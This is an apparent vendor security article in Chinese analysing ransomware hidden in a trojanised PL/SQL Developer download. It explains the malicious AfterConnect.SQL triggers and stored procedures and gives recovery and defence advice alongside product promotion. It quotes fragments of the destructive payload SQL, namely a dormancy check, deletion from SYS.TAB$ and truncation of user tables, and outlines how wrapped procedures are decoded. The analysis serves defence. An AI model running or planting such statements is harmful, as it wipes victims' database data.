“你的數(shù)據(jù)庫(kù)已被鎖死,發(fā)送5個(gè)比特幣到這個(gè)地址!”
近期,比特幣勒索攻擊卷土重來(lái),有用戶在登陸Oracle數(shù)據(jù)庫(kù)時(shí)出現(xiàn)如下勒索警告信息,被要求上交5個(gè)比特幣來(lái)?yè)Q取解鎖數(shù)據(jù)庫(kù)的服務(wù)。
安華金和數(shù)據(jù)庫(kù)攻防實(shí)驗(yàn)室經(jīng)過(guò)排查發(fā)現(xiàn),原來(lái)是有人在CSDN等網(wǎng)站上,故意散播攜帶勒索病毒的PL SQL Developer軟件程序,引誘下載從而發(fā)起勒索攻擊。勒索者此次攻擊的目標(biāo)人群是數(shù)據(jù)庫(kù)管理人員(DBA),而PL SQL Developer軟件幾乎是每個(gè)DBA必備的工具,同時(shí),CSDN又是技術(shù)人員最常光顧的網(wǎng)站之一,這大大提高了本次勒索攻擊的危害范圍?,F(xiàn)已確認(rèn)存在問(wèn)題的PL SQL Developer版本是11.0.6中文綠色注冊(cè)版(免Oracle11g客戶端)。請(qǐng)各位不要再去下載,并檢查自己是否使用過(guò)這個(gè)名字的PL SQL Developer.
全面解析攻擊原理
我們發(fā)現(xiàn),存在問(wèn)題的PL SQL Developer解壓后主目錄的AfterConnect.SQL文件存在異常。官方的PL SQL Developer下AfterConnect.SQL是空文件,而異常的AfterConnect.SQL中存在惡意存儲(chǔ)過(guò)程和觸發(fā)器總共35KB左右。
打開(kāi)文件后可以看到包含4個(gè)存儲(chǔ)過(guò)程和3個(gè)觸發(fā)器。
存儲(chǔ)過(guò)程分別是:
DBMS_SUPPORT_INTERNAL
DBMS_SYSTEM_INTERNAL
DBMS_STANDARD_FUN9
DBMS_CORE_INTERNAL
觸發(fā)器則是:
數(shù)據(jù)庫(kù)啟動(dòng)后觸發(fā)器DBMS_SUPPORT_INTERNAL
數(shù)據(jù)庫(kù)登陸觸發(fā)器DBMS_SYSTEM_INTERNAL和DBMS_CORE_INTERNAL
直接打開(kāi)AfterConnect.SQL顯示一串亂碼和3個(gè)觸發(fā)器,但嚴(yán)格講這并不是亂碼,而是按照Oracle wrap加密后的結(jié)果。Oracle數(shù)據(jù)庫(kù)內(nèi)置了wrap對(duì)應(yīng)的解密算法。勒索者雖然是以密文形式傳入數(shù)據(jù)庫(kù)保存為存儲(chǔ)過(guò)程,但在執(zhí)行過(guò)程中oracle數(shù)據(jù)庫(kù)會(huì)自動(dòng)把它轉(zhuǎn)回明文執(zhí)行。
上面AfterConnect.SQL文件中的3個(gè)觸發(fā)器和4個(gè)存儲(chǔ)過(guò)程都會(huì)在PL SQL Developer連接數(shù)據(jù)庫(kù)的過(guò)程中,被當(dāng)前用戶創(chuàng)建在數(shù)據(jù)庫(kù)服務(wù)器中。
這三個(gè)觸發(fā)器可以在數(shù)據(jù)庫(kù)啟動(dòng)后執(zhí)行DBMS_SUPPORT_INTERNAL,或者在數(shù)據(jù)庫(kù)登陸后執(zhí)行DBMS_SYSTEM_INTERNAL或DBMS_CORE_INTERNAL.觸發(fā)器本身沒(méi)有問(wèn)題,問(wèn)題出在這三個(gè)主要的存儲(chǔ)過(guò)程上。在我們發(fā)現(xiàn)的樣本中, DBMS_SYSTEM_INTERNAL中只有彈窗語(yǔ)句,并未發(fā)現(xiàn)明顯修改數(shù)據(jù)庫(kù)的語(yǔ)句,而DBMS_SUPPORT_INTERNAL和DBMS_CORE_INTERNAL這兩個(gè)存儲(chǔ)過(guò)程中均有明顯的修改數(shù)據(jù)庫(kù)行為。所以DBMS_SUPPORT_INTERNAL和DBMS_CORE_INTERNAL這兩個(gè)存儲(chǔ)過(guò)程是此次分析的重點(diǎn)。
DBMS_SUPPORT_INTERNAL的主要核心部分是下圖中標(biāo)號(hào)的兩組SQL.
第1條SQL語(yǔ)句: SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE; IF (DATE1>=1200)
語(yǔ)句含義:根據(jù)創(chuàng)建數(shù)據(jù)庫(kù)時(shí)間和當(dāng)前時(shí)間差值做決定:是立刻入侵?jǐn)?shù)據(jù)庫(kù)實(shí)施勒索,還是先保持潛伏直到條件成熟再爆發(fā)進(jìn)行勒索。判斷條件為數(shù)據(jù)庫(kù)實(shí)例創(chuàng)建時(shí)間距今是否滿足1200天,一旦滿足并重啟數(shù)據(jù)庫(kù)實(shí)例則執(zhí)行第2條SQL語(yǔ)句。
第2條SQL語(yǔ)句:EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
語(yǔ)句含義:勒索者首先對(duì)tab$中的文件進(jìn)行備份,然后再刪除tab$表中的部分內(nèi)容清理數(shù)據(jù)庫(kù)的備份文件后,向用戶彈窗實(shí)施勒索。
存儲(chǔ)過(guò)程DBMS_CORE_INTERNAL和DBMS_SUPPORT_INTERNAL采用了不同的思路,核心部分為下圖中標(biāo)號(hào)的地方。
第1條語(yǔ)句:SELECT NVL(TO_CHAR(SYSDATE-MIN(LAST_ANALYZED)),0) INTO DATE1 FROM ALL_TABLES WHERE TABLESPACE_NAME NOT IN (‘SYSTEM','SYSAUX','EXAMPLE’);IF (DATE1>=1200) THEN
語(yǔ)句含義:根據(jù)表空間中表的最小統(tǒng)計(jì)信息收集時(shí)間和當(dāng)前時(shí)間比決定,是入侵?jǐn)?shù)據(jù)庫(kù)實(shí)施勒索,還是先保持潛伏直到條件成熟再進(jìn)行勒索。判斷依據(jù)為:當(dāng)收集時(shí)間滿足1200天的條件則執(zhí)行第2條SQL語(yǔ)句。
第2條語(yǔ)句:STAT:='truncate table '||USER||'.'||I.TABLE_NAME
語(yǔ)句含義:勒索者對(duì)表執(zhí)行truncate操作,清掉用戶數(shù)據(jù),最后向用戶彈窗實(shí)施勒索。
修復(fù)方法:治標(biāo)或是治本
雖然是一樣的報(bào)錯(cuò)信息,但不一樣的原因,解決起來(lái)也不可混為一談。針對(duì)DBMS_SUPPORT_INTERNAL的問(wèn)題,把備份在ORACHK'||SUBSTR(SYS_GUID,10)中的備份信息插入回到$tab中。就可以修復(fù)DBMS_SUPPORT_INTERNAL帶來(lái)的危害。而對(duì)于DBMS_CORE_INTERNAL則需要?jiǎng)佑胦racle數(shù)據(jù)庫(kù)的dul工具恢復(fù)。
如果我們只把此次數(shù)據(jù)庫(kù)勒索事件看成一個(gè)孤立的事件,至此治標(biāo)的方法已經(jīng)介紹完畢,但這種后知后覺(jué)的修復(fù)方法,無(wú)法避免數(shù)據(jù)庫(kù)再次被類似攻擊所入侵,數(shù)據(jù)庫(kù)的安全防護(hù),絕不能采用頭疼治頭,腳痛治腳的思路,治標(biāo)還是治本?大家心中早有答案,采用有效手段防御類似攻擊才是解決問(wèn)題的根本思路。
防護(hù)手段:定期安全檢查+事中安全防護(hù),聯(lián)動(dòng)防護(hù),形成安全閉環(huán)
大部分勒索、后門(mén)類攻擊都會(huì)存在一定的潛伏期,定期安全檢查可以在攻擊行為爆發(fā)前,發(fā)現(xiàn)潛伏在數(shù)據(jù)庫(kù)中的威脅,防止攻擊爆發(fā)后的數(shù)據(jù)資產(chǎn)損失。
定期安全檢查
安華金和數(shù)據(jù)庫(kù)漏洞掃描的授權(quán)檢測(cè)中含有專門(mén)針對(duì)數(shù)據(jù)庫(kù)中異常包、存儲(chǔ)過(guò)程、觸發(fā)器、各項(xiàng)參數(shù)以及后門(mén)的檢測(cè)語(yǔ)句。這些檢測(cè)語(yǔ)句可以幫助用戶及早發(fā)現(xiàn)潛在的威脅。目前,安華金和數(shù)據(jù)庫(kù)漏洞掃描系統(tǒng)已經(jīng)可以準(zhǔn)確檢測(cè)出數(shù)據(jù)庫(kù)是否被此次勒索軟件入侵,并給出用戶修復(fù)建議。
事中安全防護(hù)
漏掃系統(tǒng)能發(fā)現(xiàn)已經(jīng)存在的安全威脅,而另一方面,如何抵御未知的安全威脅?安華金和數(shù)據(jù)庫(kù)防火墻具備這樣的能力?;趯?duì)SQL語(yǔ)句的精確解析能力,并支持?jǐn)?shù)據(jù)庫(kù)解密功能,能夠在未知風(fēng)險(xiǎn)到來(lái)的第一時(shí)間,有效攔截、阻斷攻擊。
安華金和數(shù)據(jù)庫(kù)防火墻可以對(duì)oracle數(shù)據(jù)庫(kù)的密文存儲(chǔ)過(guò)程進(jìn)行解密操作。當(dāng)?shù)谌焦ぞ呦騩racle發(fā)送大量數(shù)據(jù),其中很多數(shù)據(jù)會(huì)以加密包的形式發(fā)送。只有準(zhǔn)確破解加密包的內(nèi)容才能進(jìn)行精確的語(yǔ)法分析。Oracle的加密過(guò)程warp可以通過(guò)oracle提供的函數(shù)完成,但解密方法oracle并不提供直接函數(shù),需要用戶自行實(shí)現(xiàn)。解密并不復(fù)雜,只是把上面wrap的過(guò)程反過(guò)來(lái),首先通過(guò)網(wǎng)絡(luò)分析將所有斷包組成一個(gè)整包,進(jìn)行base64解碼。解碼后的每個(gè)字節(jié)根據(jù)固定的替換表進(jìn)行單獨(dú)替換,替換后的字符串按照LZ算法進(jìn)行解壓即可以獲得加密存儲(chǔ)過(guò)程的明文。工作流程如下:
這種準(zhǔn)確破解加密存儲(chǔ)過(guò)程的能力,不但在本次勒索案例中十分關(guān)鍵,也是防止第三方工具向數(shù)據(jù)庫(kù)發(fā)送惡意存儲(chǔ)過(guò)程的關(guān)鍵。如果不能解決解密問(wèn)題,也可以只對(duì)加密的惡意存儲(chǔ)過(guò)程進(jìn)行指紋比對(duì),但指紋比對(duì)的誤報(bào)和漏報(bào)率偏高(稍微調(diào)整下參數(shù)內(nèi)容或名稱就會(huì)使指紋匹配無(wú)法準(zhǔn)確識(shí)別惡意包)。
基于SQL語(yǔ)法解析,能夠判斷存儲(chǔ)過(guò)程或數(shù)據(jù)包中是否存在惡意行為。在unwrap的支撐下數(shù)據(jù)庫(kù)防火墻能夠把所有去向數(shù)據(jù)庫(kù)的加密存儲(chǔ)過(guò)程明文化,對(duì)明文進(jìn)行SQL語(yǔ)法分解析,進(jìn)行惡意行為語(yǔ)句的特征匹配。并根據(jù)整個(gè)SQL語(yǔ)句包及前后關(guān)聯(lián)語(yǔ)句環(huán)境的SQL行為進(jìn)行分析。當(dāng)整個(gè)SQL語(yǔ)句包中存在多個(gè)必要點(diǎn)命中安全規(guī)則時(shí),則判斷該語(yǔ)句包存在惡意行為,進(jìn)行主動(dòng)阻斷,并向相關(guān)人員進(jìn)行危險(xiǎn)告警,完成對(duì)數(shù)據(jù)庫(kù)攻擊的主動(dòng)防護(hù)。
安華金和數(shù)據(jù)庫(kù)漏洞掃描系統(tǒng)側(cè)重于整個(gè)防護(hù)過(guò)程中的已知隱患掃描,而數(shù)據(jù)庫(kù)防火墻側(cè)重特征隱患攔截。 兩者側(cè)重不同卻能夠相互聯(lián)動(dòng),數(shù)據(jù)庫(kù)防火墻攔截下一個(gè)新型隱患,數(shù)據(jù)庫(kù)漏掃則根據(jù)這個(gè)新型的特征更新掃描檢測(cè)項(xiàng),一旦數(shù)據(jù)庫(kù)防火墻未發(fā)現(xiàn),但漏掃發(fā)現(xiàn)安全隱患,則數(shù)據(jù)庫(kù)防火墻根據(jù)隱患特征優(yōu)化防護(hù)策略,進(jìn)一步降低誤報(bào)、漏報(bào)率,協(xié)同防護(hù)形成完整安全閉環(huán)。
針對(duì)本次攻擊,安華金和提供檢測(cè)工具與修復(fù)方法
如果您的數(shù)據(jù)庫(kù)已經(jīng)遭受攻擊,請(qǐng)進(jìn)行如下修復(fù)操作:
針對(duì)DBMS_SUPPORT_INTERNAL存儲(chǔ)過(guò)程的問(wèn)題,請(qǐng)把備份在ORACHK'||SUBSTR(SYS_GUID,10)中的備份信息插入回到$tab中進(jìn)行自救,而DBMS_CORE_INTERNAL存儲(chǔ)過(guò)程則需要?jiǎng)佑胦racle的dul工具恢復(fù)數(shù)據(jù)。
針對(duì)正在使用PL SQL Developer11.0.6中文綠色注冊(cè)版(免Oracle11g客戶端)的用戶,病毒可能已經(jīng)潛伏,安華金和可提供免費(fèi)檢測(cè)工具及相應(yīng)修復(fù)方法,請(qǐng)及時(shí)進(jìn)行病毒排查與清理。
可登陸安華金和官方網(wǎng)站獲取檢測(cè)工具:http://www.dbsec.cn/operations/download.html
同時(shí),對(duì)于已購(gòu)買(mǎi)安華金和漏洞掃描系統(tǒng)的用戶,產(chǎn)品現(xiàn)已支持對(duì)此次勒索攻擊的安全檢測(cè)功能,后續(xù)將對(duì)用戶的設(shè)備進(jìn)行版本更新。
- 蜜度索驥:以跨模態(tài)檢索技術(shù)助力“企宣”向上生長(zhǎng)
- 比亞迪第五代DM技術(shù)問(wèn)世,首搭秦L/海豹06 DM-i,開(kāi)創(chuàng)油耗2時(shí)代!
- 小紅書(shū)沉帖降權(quán)怎么做,有效方法大盤(pán)點(diǎn)!
- 亞洲時(shí)刻京東送上電視好禮 以舊換新一體化服務(wù)讓低價(jià)更靠譜
- 互聯(lián)網(wǎng)營(yíng)銷師和全媒體運(yùn)營(yíng)師的區(qū)別?
- 聯(lián)想集團(tuán)車計(jì)算“超級(jí)大腦”概念機(jī)亮相
- 華策影視設(shè)立專項(xiàng)基金成立AIGC應(yīng)用研究院
- 三部委審批,聯(lián)合發(fā)布9個(gè)新職業(yè),“互聯(lián)網(wǎng)營(yíng)銷師”上榜
- 互聯(lián)網(wǎng)營(yíng)銷師的報(bào)考條件是什么?
- 互聯(lián)網(wǎng)營(yíng)銷師的適合人群有哪些?
- 互聯(lián)網(wǎng)營(yíng)銷師行業(yè)前景怎么樣?
免責(zé)聲明:本網(wǎng)站內(nèi)容主要來(lái)自原創(chuàng)、合作伙伴供稿和第三方自媒體作者投稿,凡在本網(wǎng)站出現(xiàn)的信息,均僅供參考。本網(wǎng)站將盡力確保所提供信息的準(zhǔn)確性及可靠性,但不保證有關(guān)資料的準(zhǔn)確性及可靠性,讀者在使用前請(qǐng)進(jìn)一步核實(shí),并對(duì)任何自主決定的行為負(fù)責(zé)。本網(wǎng)站對(duì)有關(guān)資料所引致的錯(cuò)誤、不確或遺漏,概不負(fù)任何法律責(zé)任。任何單位或個(gè)人認(rèn)為本網(wǎng)站中的網(wǎng)頁(yè)或鏈接內(nèi)容可能涉嫌侵犯其知識(shí)產(chǎn)權(quán)或存在不實(shí)內(nèi)容時(shí),應(yīng)及時(shí)向本網(wǎng)站提出書(shū)面權(quán)利通知或不實(shí)情況說(shuō)明,并提供身份證明、權(quán)屬證明及詳細(xì)侵權(quán)或不實(shí)情況證明。本網(wǎng)站在收到上述法律文件后,將會(huì)依法盡快聯(lián)系相關(guān)文章源頭核實(shí),溝通刪除相關(guān)內(nèi)容或斷開(kāi)相關(guān)鏈接。